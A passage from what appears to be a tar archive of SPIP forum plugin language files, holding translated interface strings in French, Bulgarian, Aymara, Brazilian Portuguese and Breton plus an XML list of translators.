publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.',
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles',
'info_fonctionnement_forum' => 'Fonctionnement du forum :',
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot',
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que celles de l’espace privé et vous permet de gérer ces contributions.',
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'sont',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'est',
'info_liens_syndiques_7' => 'en attente de validation',
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message',
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message',
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics',
'info_nb_messages_forum' => '@nb@ messages de forum',
'info_option_email' => 'Lorsqu’un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l’article peuvent être prévenus de ce message par email. Indiquer pour chaque type de forum s’il faut utiliser cette option.',
'info_pas_de_forum' => 'pas de forum',
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons…) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex : gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n’indiquez rien.',
'info_selectionner_message' => 'Sélectionner les messages :',
'interface_formulaire' => 'Interface formulaire',
'interface_onglets' => 'Interface avec onglets',
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs',
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs',
'item_config_forums_prive_objets' => 'Activer ces forums',
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs',
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs',
'item_non_config_forums_prive_objets' => 'Désactiver ces forums',
// L
'label_selectionner' => 'Sélectionner :',
'lien_reponse_article' => 'Réponse à l’article',
'lien_reponse_breve_2' => 'Réponse à la brève',
'lien_reponse_message' => 'Réponse au message',
'lien_reponse_rubrique' => 'Réponse à la rubrique',
'lien_reponse_site_reference' => 'Réponse au site référencé',
'lien_vider_selection' => 'Vider la sélection',
// M
'messages_aucun' => 'Aucun',
'messages_meme_auteur' => 'Tous les messages de cet auteur',
'messages_meme_email' => 'Tous les messages de cet email',
'messages_meme_ip' => 'Tous les messages de cette IP',
'messages_off' => 'Supprimés',
'messages_perso' => 'Personnels',
'messages_privadm' => 'Administrateurs',
'messages_prive' => 'Privés',
'messages_privoff' => 'Supprimés',
'messages_privrac' => 'Généraux',
'messages_prop' => 'Proposés',
'messages_publie' => 'Publiés',
'messages_spam' => 'Spam',
'messages_tous' => 'Tous',
// O
'onglet_messages_internes' => 'Messages internes',
'onglet_messages_publics' => 'Messages publics',
'onglet_messages_vide' => 'Messages sans texte',
// R
'repondre_message' => 'Répondre à ce message',
// S
'statut_off' => 'Supprimé',
'statut_original' => 'original',
'statut_prop' => 'Proposé',
'statut_publie' => 'Publié',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'N’hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).',
'texte_en_cours_validation' => 'Les articles, brèves, forums ci-dessous sont proposés à la publication.',
'texte_en_cours_validation_forum' => 'N’hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.',
'texte_messages_publics' => 'Messages publics sur :',
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs',
'titre_cadre_forum_interne' => 'Forum interne',
'titre_config_forums_prive' => 'Forums de l’espace privé',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Suivi des forums',
'titre_page_forum_suivi' => 'Suivi des forums',
'titre_selection_action' => 'Sélection',
'tout_voir' => 'Voir tous les messages',
// V
'voir_messages_objet' => 'voir les messages'
);
?>
forum_bg.php 0000666 00000020266 15252247467 0007105 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'само за бъдещи статии (без действие на базата данни).',
'bouton_radio_articles_tous' => 'към всички статии без изключение.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'към всички статии, освен тези с деактивирани форуми.',
'bouton_radio_enregistrement_obligatoire' => 'Задължителна регистрация (преди да можете да участвате, необходимо е да се абонирате като запишете електронния си адрес).',
'bouton_radio_moderation_priori' => 'Предварителна регистрация (
приносите от съобщения ще бъдат показвани само след одобрение от
администраторите).', # MODIF
'bouton_radio_modere_abonnement' => 'изисква се регистрация',
'bouton_radio_modere_posteriori' => 'последваща модерация', # MODIF
'bouton_radio_modere_priori' => 'предварителна модерация', # MODIF
'bouton_radio_publication_immediate' => 'Незабавно публикуване на съобщения
(приносите от съобщения ще бъдат показани в момента, в който бъдат изпратени; след това
администраторите могат да ги изтриват).',
// F
'form_pet_message_commentaire' => 'Коментар?',
'forum' => 'Форум',
'forum_acces_refuse' => 'Вече нямате достъп до тези форуми.',
'forum_attention_dix_caracteres' => '<b>Предупреждение!</b> съобщението трябва да е по-дълго от 10 знака.',
'forum_attention_trois_caracteres' => '<b>Предупреждение!</b> полето Относно трябва да е по-дълго от 3 знака.',
'forum_avez_selectionne' => 'Вие сте избрали:',
'forum_cliquer_retour' => 'Изберете <a href=\'@retour_forum@\'>тук</a> за да продължите.',
'forum_forum' => 'форум',
'forum_info_modere' => 'Форумът се модерира предварително: Вашият принос ще се появи след одобрението от администратора.', # MODIF
'forum_lien_hyper' => '<b>Хипертекстова препратка</b> (по избор)', # MODIF
'forum_message_definitif' => 'Последно съобщение: изпращане до сайта',
'forum_message_trop_long' => 'Съобщението е прекалено дълго. Максимално можете да впишете 20000 знака.', # MODIF
'forum_ne_repondez_pas' => 'Не отговаряйте на съобщението директно, а във форума на следния адрес:', # MODIF
'forum_page_url' => '(Ако съобщението Ви се отнася към вече публикувана статия или към Интернет страница с повече информация, моля впишете името на старницата и нейния URL адрес по-долу).',
'forum_poste_par' => 'Изпратено е съобщение @parauteur@, следващо статията.', # MODIF
'forum_qui_etes_vous' => '<b>Кой сте Вие?</b> (по избор)', # MODIF
'forum_texte' => 'Текст на съобщението:', # MODIF
'forum_titre' => 'Тема:', # MODIF
'forum_url' => 'URL адрес:', # MODIF
'forum_valider' => 'Одобряване на избора',
'forum_voir_avant' => 'Преглед на съобщението преди изпращане', # MODIF
'forum_votre_email' => 'Вашият електронен адрес:', # MODIF
'forum_votre_nom' => 'Вашето име (или псевдоним):', # MODIF
'forum_vous_enregistrer' => 'Преди да участвате в този форум
е необходимо да се регистрирате. Благодарим,
че отворихте личния си идентификатор,
който Ви бе предоставен. Ако все още не сте регистрирани, необходимо е да',
'forum_vous_inscrire' => 'регистриране.',
// I
'icone_poster_message' => 'Изпращане на съобщение',
'icone_suivi_forum' => 'Принос от съобщение(я) в публичния форум: @nb_forums@ съобщения',
'icone_suivi_forums' => 'Развитие на форумите',
'icone_supprimer_message' => 'Изтриване на съобщението',
'icone_valider_message' => 'Одобряване на съобщението',
'info_activer_forum_public' => '<i>За достъп до публичните форуми, изберете от модерирането режим "по подразбиране":</i>', # MODIF
'info_appliquer_choix_moderation' => 'Прилагане на избора за модерация:',
'info_desactiver_forum_public' => 'Дезактивиране на публичните
форуми. Те могат да бътат активирани отново в определени
случаи за статиите, а забранени за рубриките, новините и др.',
'info_envoi_forum' => 'Изпращане на форумите до авторите на статии',
'info_fonctionnement_forum' => 'Работа на форума:',
'info_gauche_suivi_forum_2' => 'Страницата <i>Допълнения във форумите</i> е инструмент за управление на сайта (а не зона за дискусии или за публикации). Тя показва целия принос от съобщения в публичния форум на статията и позволява боравенето с тези съобщения.', # MODIF
'info_liens_syndiques_3' => 'форуми',
'info_liens_syndiques_4' => 'са',
'info_liens_syndiques_5' => 'форум',
'info_liens_syndiques_6' => 'е',
'info_liens_syndiques_7' => 'очакват одобрение.',
'info_mode_fonctionnement_defaut_forum_public' => 'Режим "по подразбиране" на публичните форуми',
'info_option_email' => 'Когато посетител на сайта изпраща до форума съобщение,
свързано със статия, авторът на статията може да бъде уведомяван
по електронна поща за това. Искате ли да използвате тази възможност?', # MODIF
'info_pas_de_forum' => 'без форум',
'item_activer_forum_administrateur' => 'Позволяване на администраторски форум',
'item_desactiver_forum_administrateur' => 'Без администраторски форум',
// L
'lien_reponse_article' => 'Отговор на статията',
'lien_reponse_breve_2' => 'Отговор на новината',
'lien_reponse_rubrique' => 'Отговор в рубриката',
'lien_reponse_site_reference' => 'Отговор на свързания сайт:', # MODIF
// O
'onglet_messages_internes' => 'Вътрешни съобщения',
'onglet_messages_publics' => 'Публични съобщения',
'onglet_messages_vide' => 'Съобщения без текст',
// R
'repondre_message' => 'Отговор на съобщението',
// T
'titre_cadre_forum_administrateur' => 'Затворен форум за администратори',
'titre_cadre_forum_interne' => 'Вътрешен форум',
'titre_forum' => 'Форум',
'titre_forum_suivi' => 'Допълнения във форумите',
'titre_page_forum_suivi' => 'Допълнения във форумите'
);
?>
forum_ay.php 0000666 00000011042 15252247467 0007116 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'jutir yatiyawinakaruki (pirwa yatiyawinak janiw mayjt’aykiti)',
'bouton_radio_articles_tous' => 'taqpach qillqatanakaru',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'Taqpach qillqatanakaru, janiw jiwt’at aruskipañanakar ukhama.',
'bouton_radio_enregistrement_obligatoire' => 'Qillqaw mayita (qillqayasiñapuniw aruskipayir churasina janir aruskipañan arst’asa)',
'bouton_radio_modere_abonnement' => 'qillqatanakatakiki',
'bouton_radio_modere_posteriori' => 'qhipurunx k’achata', # MODIF
'bouton_radio_modere_priori' => 'nayraqatax k’achata', # MODIF
'bouton_radio_publication_immediate' => 'Yatiyawinakat jank’aki yatiyaña (apayasinxa yanapawinakaxa uñstapxiwa, apnaqawirit ukata qhipurunxa apaqataspawa)',
// F
'form_pet_message_commentaire' => '¿Mä yatiyawi, mä amuyu?',
'forum' => 'Aruskipaña',
'forum_acces_refuse' => 'Aka aruskipañaru janiw mantawimax utjiti.',
'forum_attention_dix_caracteres' => '<b>¡Amuyam!</b> tunka qillqaniñapakikiw yatiyawimanx utjañapawa.',
'forum_attention_trois_caracteres' => '<b>¡Uñjam!</b> Kimsa qillqaniñapakikiw sutinchatanx utjañapawa.',
'forum_attention_trop_caracteres' => '<b>¡Amuyam!</b> Amuyam yatiyawimax sinti jac’hawa (@compte@ qillqanaka) qillqayañatakixa, qillqanakax janiw jilanchjañapakiti @max@.', # MODIF
'forum_avez_selectionne' => 'Ajlltawa:',
'forum_cliquer_retour' => 'Sarantaskakiñatakix limt’am <a href=’@retour_forum@’>akjaru</a>. ',
'forum_forum' => 'Aruskipaña',
'forum_info_modere' => 'Nayraqatax aka aruskipañax t’akutaw: Arst’añamax janiw uñstkaniti iyawsan ukjakama qamawin apnaqiri jupanakampi.', # MODIF
'forum_lien_hyper' => 'Jach’a sawuta chinu mayachawi (ajlliñatakiwa)', # MODIF
'forum_message_definitif' => 'Yatiyawi: qamawir apayaña',
'forum_message_trop_long' => 'Yatiyawimax sinti jach’awa. Pä tunk waranq qillqanakaniñapawa', # MODIF
'forum_ne_repondez_pas' => 'Aka aruskipayirirux jan jaysamti, jan ukjax aruskipañar jaysam aka utjawiru:', # MODIF
'forum_page_url' => '(Sitix yatiyawimax mä qillqat yatiyatar aytata internetan, jan ukjax kawkintix mä laphi uñnaqan kunantix juk’amp yatiyawinak utjkisa, ukjarux laphi uñnaqan sutinchap ukhamarak URL utjawip uñachayam)',
'forum_poste_par' => 'Yatiyaw apayata @parauteur@ qillqatar jaysayañjama @titre@', # MODIF
'forum_qui_etes_vous' => '¿Khititasa? (ajlliñatakiwa)', # MODIF
'forum_texte' => 'Yatiyawiman sawu:', # MODIF
'forum_titre' => 'Sutichata:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Ajllita yaw saña',
'forum_voir_avant' => 'Janir apaykasin aka yatiyaw uñjaña', # MODIF
'forum_votre_email' => 'Aruskipayiriman utjawipa:', # MODIF
'forum_votre_nom' => 'Sutima (jan ukjax sutichawima):', # MODIF
'forum_vous_enregistrer' => 'Aka aruskipañan arsuñatakix, naraqatax qillqayasisma. Ukjarux juman uñt’irim churapksma uñachawimatxa yuspagara. Jan qillqataktax ukjax, ',
'forum_vous_inscrire' => 'qillqayasiñama.',
// I
'icone_poster_message' => 'Mä yatiyawi apayaña',
'icone_suivi_forum' => 'Jichhaptat aruskiñat yatiyata: @nb_forums@yanapawinaka',
'icone_suivi_forums' => 'Aruskipañanak apnaqaña ukhamarak uñch’ukiña',
'icone_supprimer_message' => 'Aka yatiyaw apaqaña',
'icone_valider_message' => 'Aka yatiyaw iyaw saña',
'info_appliquer_choix_moderation' => 'Aka amuya kasta luraña',
'info_desactiver_forum_public' => 'Aruskipañanak jiwt’ayaña. Qillqatanakatakikiw naktayatani, ukhamarusa janiw jisk’aptatanakataki t’aqanakatakiraki.',
'info_envoi_forum' => 'Aruskipañanakat uñch’ukiwi',
'info_fonctionnement_forum' => 'Aruskipañawit lurt’xawipa:',
'info_gauche_suivi_forum_2' => 'Web qamawixa <i>aruskipañawinakat uñch’ukiwi</i> mä irnaqañatak qamawimat apnaqawiwa ( janiw aruskipaw qamawxakiti ukhamarak janiw qillqayaw qamawxakiti). Taqpach yanapanaka aruskipañawinakat aka qillqatata ukhamarak apnaqayaraktamwa.', # MODIF
// O
'onglet_messages_internes' => 'Manqhat yatiyawinaka',
'onglet_messages_publics' => 'Yatiyawinak taqinir uñt’ayañataki ',
'onglet_messages_vide' => 'Jan sawump yatiyawinaka',
// R
'repondre_message' => 'Aka yatiyawir jaysaña',
// S
'statut_original' => 'nayriri',
// T
'titre_forum' => 'Manqha aruskipañawi'
);
?>
paquet-forum.xml 0000666 00000007164 15252247467 0007745 0 ustar 00 <traduction module="paquet-forum" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/forum/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
forum_pt_br.php 0000666 00000022015 15252247467 0007615 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Nenhuma mensagem de fórum',
// B
'bouton_radio_articles_futurs' => 'apenas às próximas matérias (sem ação sobre a base de dados).',
'bouton_radio_articles_tous' => 'a todas as matérias, sem exceção.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a todas as matérias, exceto aquelas em que o fórum está desativado.',
'bouton_radio_enregistrement_obligatoire' => 'Cadastro obrigatório (os usuários devem se cadastrar, fornecendo seu e-mail, antes de poderem enviar suas contribuições).',
'bouton_radio_moderation_priori' => 'Moderação prévia (as contribuições só serão exibidas publicamente após a aprovação dos administradores).',
'bouton_radio_modere_abonnement' => 'por assinatura',
'bouton_radio_modere_posteriori' => 'moderação a posteriori',
'bouton_radio_modere_priori' => 'moderação a priori',
'bouton_radio_publication_immediate' => 'Publicação imediata das mensagens
(as contribuições serão exibidas assim que forem enviadas; os administradores poderão excluí-las em seguida).',
// D
'documents_interdits_forum' => 'Documentos proibídos no fórum',
// E
'erreur_enregistrement_message' => 'A sua mensagem não pode ser gravada em razão de um problema técnico',
// F
'form_pet_message_commentaire' => 'Uma mensagem ou comentário?',
'forum' => 'Fórum',
'forum_acces_refuse' => 'Você não tem mais acesso a estes fóruns.',
'forum_attention_dix_caracteres' => '<b>Atenção!</b> Sua mensagem precisa ter pelo menos dez caracteres.',
'forum_attention_message_non_poste' => 'Atenção, você não postou a sua mensagem!',
'forum_attention_trois_caracteres' => '<b>Atenção!</b> Seu título precisa ter pelo menos três caracteres.',
'forum_attention_trop_caracteres' => '<b>Atenção!</b> sua mensagem é muito longa (@compte@ caracteres): para que ela seja gravada, ela não pode ultrapassar @max@ caracteres.',
'forum_avez_selectionne' => 'Você selecionou:',
'forum_cliquer_retour' => 'Clique <a href=\'@retour_forum@\'>aqui</a> para continuar.',
'forum_forum' => 'fórum',
'forum_info_modere' => 'Este fórum é moderado a priori: a sua contribuição só será exibida após ser validada por um administrador do site.',
'forum_lien_hyper' => 'Link hipertexto',
'forum_message' => 'Sua mensagem',
'forum_message_definitif' => 'Mensagem definitiva: enviar para o site',
'forum_message_trop_long' => 'Sua mensagem é muito longa. O tamanho máimo é de 20.000 caracteres.',
'forum_ne_repondez_pas' => 'Não responda a esta mensagem e sim no fórum com o endereço a seguir:',
'forum_page_url' => '(Se a sua mensagem se refere a uma matéria pubicada na Web, ou a uma página fornecendo mais informações, por favor informe abaixo o título da página e o seu endereço.)',
'forum_permalink' => 'Link permanente para o comentário',
'forum_poste_par' => 'Mensagem enviada @parauteur@ em seguimento da sua matéria.', # MODIF
'forum_qui_etes_vous' => 'Quem é você?',
'forum_saisie_texte_info' => 'Este formulário aceita os atalhos do SPIP <code>[->url] {{negrito}} {itálico} <quote> <code></code> e o código HTML <code><q> <del> <ins></code>. Para criar parágrafos, basta deixar uma linha em branco.',
'forum_texte' => 'Texto da sua mensagem',
'forum_titre' => 'Título',
'forum_url' => 'Seu website',
'forum_valider' => 'Validar a seleção',
'forum_voir_avant' => 'Visualizar',
'forum_votre_email' => 'Seu endereço de e-mail',
'forum_votre_nom' => 'Seu nome',
'forum_vous_enregistrer' => 'Para participar deste fórum, você precisa se cadastrar previamente. Por favor, informe abaixo o identificador pessoal que lhe foi fornecido. Se você não está cadastrado, você precisa',
'forum_vous_inscrire' => 'cadastrar-se.',
// I
'icone_bruler_message' => 'Marcar como spam',
'icone_bruler_messages' => 'Marcar como spam',
'icone_legitimer_message' => 'Marcar como lícita',
'icone_poster_message' => 'Postar uma mensagem',
'icone_suivi_forum' => 'Acompanhamento do fórum público: @nb_forums@ contribuição(ões)',
'icone_suivi_forums' => 'Acompanhar / gerenciar os fóruns',
'icone_supprimer_message' => 'Suprimir esta mensagem',
'icone_supprimer_messages' => 'Excluir estas mensagens',
'icone_valider_message' => 'Validar esta mensagem',
'icone_valider_messages' => 'Validar estas mensagens',
'icone_valider_repondre_message' => 'Validar e responder a esta mensagem',
'info_1_message_forum' => '1 mensagem de fórum',
'info_activer_forum_public' => 'Para ativar os fóruns públicos, por favor, escolha o modo de moderação padrão:',
'info_appliquer_choix_moderation' => 'Atribuir esta escolha de moderação:',
'info_config_forums_prive' => 'Na área restrita do site, você pode ativar diversos tipos de fóruns:',
'info_config_forums_prive_admin' => 'Um fórum reservado aos administradores do site:',
'info_config_forums_prive_global' => 'Um fórum global, aberto a todos os redatores:',
'info_config_forums_prive_objets' => 'Um fórum para cada matéria, nota, site referenciado etc.:',
'info_desactiver_forum_public' => 'Desativar o uso dos fóruns públicos. Os fóruns públicos poderão ser autorizados caso a caso apenas nas matérias; não serão permitidos nas seções, notas etc.',
'info_envoi_forum' => 'Envio dos fóruns aos autores das matérias',
'info_fonctionnement_forum' => 'Funcionamento do fórum:',
'info_forums_liees_mot' => 'As mensagens de fórum vinculadas a esta palavra',
'info_gauche_suivi_forum_2' => 'A página de <i>acompanhamento dos fóruns</i> é uma ferramenta de gestão do seu site (e não um espaço de discussão ou de redação). Ela exibe todas as contrubuições dos fóruns do site, tanto as do site público como as do espaço privado e permite-lhe gerenciar essas contribuições.',
'info_liens_syndiques_3' => 'fóruns',
'info_liens_syndiques_4' => 'são',
'info_liens_syndiques_5' => 'fórum',
'info_liens_syndiques_6' => 'é',
'info_liens_syndiques_7' => 'aguardando validação',
'info_liens_texte' => 'Link(s) contido(s) no texto da mensagem',
'info_liens_titre' => 'Link(s) contido(s) no título da mensagem',
'info_mode_fonctionnement_defaut_forum_public' => 'Modo de funcionamento padrão dos fóruns públicos',
'info_nb_messages_forum' => '@nb@ mensagens de fórum',
'info_option_email' => 'Sempre que um visitante postar uma nova mensagem no fórum associado a uma matéria, os autores da matéria podem ser avisados dessa mensagem por e-mail. Informe para cada tipo de fórum se esta oção deve ser usada.',
'info_pas_de_forum' => 'sem fórum',
'info_question_visiteur_ajout_document_forum' => 'Se você deseja autorizar os visitantes a anexarem documentos (imagens, áudios...) às suas mensagens em fóruns, indique abaixo a lista das extensões de arquivos permitidos para os fóruns (ex.: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Se você deseja permitir todos os tipos de documentos considerados como seguros pelo SPIP, digite * (asterisco). Para não permitir nenhum, deixe em branco.',
'interface_formulaire' => 'Interface de formulário',
'interface_onglets' => 'Interface com abas',
'item_activer_forum_administrateur' => 'Ativar o fórum dos administradores',
'item_config_forums_prive_global' => 'Ativar os fóruns dos redatores',
'item_config_forums_prive_objets' => 'Ativar estes fóruns',
'item_desactiver_forum_administrateur' => 'Desativar o fórum dos administradores',
'item_non_config_forums_prive_global' => 'Desativar o fórum dos redatores',
'item_non_config_forums_prive_objets' => 'Desativar estes fóruns',
// L
'lien_reponse_article' => 'Resposta à matéria',
'lien_reponse_breve_2' => 'Resposta à nota',
'lien_reponse_message' => 'Resposta à mensagem',
'lien_reponse_rubrique' => 'Resposta à seção',
'lien_reponse_site_reference' => 'resposta ao site referenciado',
// M
'messages_aucun' => 'Nenhuma',
'messages_meme_auteur' => 'Todas as mensagens deste autor',
'messages_meme_email' => 'Todas as mensagens deste e-mail',
// O
'onglet_messages_internes' => 'Mensagens internas',
'onglet_messages_publics' => 'Mensagens públicas',
'onglet_messages_vide' => 'Mensagens sem texto',
// R
'repondre_message' => 'Responder a esta mensagem',
// S
'statut_original' => 'original',
// T
'text_article_propose_publication_forum' => 'Não hesite a dar a sua contribuição no fórum associado a esta matéria (no pé da página).',
'texte_en_cours_validation_forum' => 'Não hesite a dar a sua opinião sobre as mesmas nos fóruns a elas associados.',
'titre_cadre_forum_administrateur' => 'Fórum privado dos administradores',
'titre_cadre_forum_interne' => 'Fórum interno',
'titre_config_forums_prive' => 'Fóruns da área privada',
'titre_forum' => 'Fórum',
'titre_forum_suivi' => 'Acompanhamento dos fóruns',
'titre_page_forum_suivi' => 'Acompanhamento dos fóruns'
);
?>
forum_br.php 0000666 00000017542 15252247467 0007123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'er pennadoù da zont hepken (oberiadenn ebet en diaz titouroù)',
'bouton_radio_articles_tous' => 'en holl pennadoù.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'en holl bennadoù n’eo ket bet diweredekaet o forom',
'bouton_radio_enregistrement_obligatoire' => 'Enrolladenn ret (a-raok gallout kemer perzh e rank an implijerien en em enrollañ en ur reiñ o chomlec’h postel).',
'bouton_radio_moderation_priori' => 'Gwiriañ a-raok embann (diskouez a reer ar c’hemennadennoù ur wech lennet hag aotreet gant ar verourien hepken).', # MODIF
'bouton_radio_modere_abonnement' => 'war goumanant',
'bouton_radio_modere_posteriori' => 'gwiriañ goude an embann', # MODIF
'bouton_radio_modere_priori' => 'gwiriañ a-raok embann', # MODIF
'bouton_radio_publication_immediate' => 'Embann ar c’hemennadennoù kerkent (embannet e vez ar c’hemennadennoù diouzhtu goude bezañ bet skrivet, war-lerc’h e c’hellont bezañ diverket gant ar verourien).',
// D
'documents_interdits_forum' => 'Teulioù difennet er forom',
// F
'form_pet_message_commentaire' => 'Ur gemennadenn, un evezhiadenn ?',
'forum' => 'Forom',
'forum_acces_refuse' => 'N’oc’h ket aotreet da vont war ar foromoù-mañ ken .',
'forum_attention_dix_caracteres' => '<b>Diwallit !</b> Dek arouezenn d’an nebeutañ a rank bezañ en ho kemennadenn.',
'forum_attention_trois_caracteres' => '<b>Diwallit !</b> Teir arouezenn d’an nebeutañ a rank bezañ en ho titl.',
'forum_attention_trop_caracteres' => '<b>Diwallit !</b> re hir eo ho kemennadenn (@compte@ arouez) : arabat e vefe ouzhpenn @max@ arouezenn enni evit gallout bezañ kaset.', # MODIF
'forum_avez_selectionne' => 'Diuzet hoc’h eus :',
'forum_cliquer_retour' => 'Klikit <a href=\'@retour_forum@\'>amañ</a> evit kenderc’hel.',
'forum_forum' => 'forom',
'forum_info_modere' => 'Habaskaet eo ar forom-mañ a-raok embann ar pennadoù : ne vo ket gwelet ho kemennadenn a-raok na vefe lennet hag asantet gant unan eus merourien al lec’hienn.', # MODIF
'forum_lien_hyper' => '<b>liamm gourskrid</b> (Diret)', # MODIF
'forum_message_definitif' => 'Kemennadenn echu : kas d’al lec’hienn',
'forum_message_trop_long' => 'Re hir eo ho kemennadenn. 20000 arouezenn a c’heller lakaat d’ar muiañ.', # MODIF
'forum_ne_repondez_pas' => 'Na respontit ket d’ar postel-mañ, met war ar forom, d’ar chomlec’h da-heul :', # MODIF
'forum_page_url' => '(Ma ra ho kemmennadenn anv eus ur pennad all war Internet pe eus ur bajenn warni muioc’h a ditouroù e c’hellit skrivañ amañ goude titl ar bajenn hag ar chomlec’h anezhi.)',
'forum_poste_par' => 'Kemennadenn kaset @parauteur@ da-heul ar pennad « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Piv oc’h-hu ?</b> (Diret)', # MODIF
'forum_texte' => 'Testenn ho kemennadenn :', # MODIF
'forum_titre' => 'Titl',
'forum_url' => 'URL :', # MODIF
